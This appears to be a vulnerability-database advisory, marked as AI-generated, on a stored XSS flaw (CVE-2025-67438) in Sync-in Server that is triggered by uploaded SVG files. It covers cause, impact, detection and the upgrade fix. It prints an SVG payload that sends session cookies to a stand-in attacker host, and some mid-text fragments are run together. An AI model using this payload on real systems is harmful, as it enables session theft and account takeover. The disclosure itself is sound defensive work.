
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2025-67438 is a Stored Cross-Site Scripting (XSS) vulnerability in Sync-in Server (npm package @sync-in/server) affecting all versions before 1.9.3. An authenticated attacker can upload a crafted SVG file containing a malicious JavaScript payload; when a victim accesses the raw SVG file URL, the script executes in their browser under the Sync-in domain. The vulnerability was reported by researcher x0root on December 6, 2025, and publicly disclosed on February 20, 2026. It carries a CVSS v3.1 base score of 6.1 (Medium) and a CVSS v4 base score of 5.1 (Moderate) (GitHub Advisory, PoC Advisory).
The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically the raw file viewer endpoint serving SVG content without sanitization or a Content-Disposition: attachment header, allowing embedded scripts to execute in the browser (GitHub Advisory). The attack vector is network-based: an authenticated attacker uploads an SVG file containing an inline <script> block (e.g., <svg><script>alert(document.cookie)</script></svg>), then shares the raw file URL with a victim (PoC Advisory). Exploitation requires the attacker to have a valid account on the Sync-in instance and requires user interaction — the victim must open the shared raw URL. The fix in v1.9.3 enforces Content-Disposition: attachment when serving files, preventing browser-side script execution (v1.9.3 Release).
Successful exploitation allows an attacker to execute arbitrary JavaScript in a victim's browser under the Sync-in application domain, enabling theft of session cookies, CSRF tokens, and other sensitive data stored in the browser context (PoC Advisory). Session cookie theft can lead to full account takeover and unauthorized access to the victim's data within the Sync-in instance. Availability is not directly impacted, but confidentiality and integrity of subsequent systems are at low risk due to the cross-site nature of the attack (GitHub Advisory).
A public proof-of-concept advisory is available on GitHub Gist, published by the discoverer x0root, detailing the exact SVG payload and exploitation steps (PoC Advisory). There is no current evidence of in-the-wild exploitation, and no threat actor attribution has been reported (GitHub Advisory). The EPSS score is approximately 0.018% (16th percentile), indicating a low near-term exploitation probability. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities catalog. Qualys has added detection for this CVE (detection ID 5007911).
<svg xmlns="http://www.w3.org/2000/svg">
<script>document.location='https://attacker.example/steal?c='+document.cookie</script>
</svg>Content-Disposition: attachment header, causing the browser to render it and execute the embedded JavaScript in the Sync-in domain context.?c=<session_cookie>).<script> tags or JavaScript event handlers (e.g., onload, onerror)./files/raw/<id>.svg) from multiple user accounts or unusual IP addresses; server logs showing SVG uploads by low-privilege accounts followed shortly by accesses from different users.Upgrade Sync-in Server to version 1.9.3 or later, which resolves the vulnerability by serving files with the Content-Disposition: attachment header to prevent browser-side script execution (v1.9.3 Release). As a temporary workaround prior to upgrading, administrators can configure a reverse proxy or web server to add Content-Disposition: attachment and X-Content-Type-Options: nosniff headers for all file download endpoints. Additionally, implementing a strict Content Security Policy (CSP) and restricting SVG file uploads to trusted users can reduce the attack surface (GitHub Advisory).
The vulnerability was responsibly disclosed by researcher x0root, who is credited in the official v1.9.3 release notes: "We would like to thank @x0root for reporting this vulnerability and helping improve the security of the project" (v1.9.3 Release). No broader media coverage or notable community discussion beyond the advisory and release notes has been identified.
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."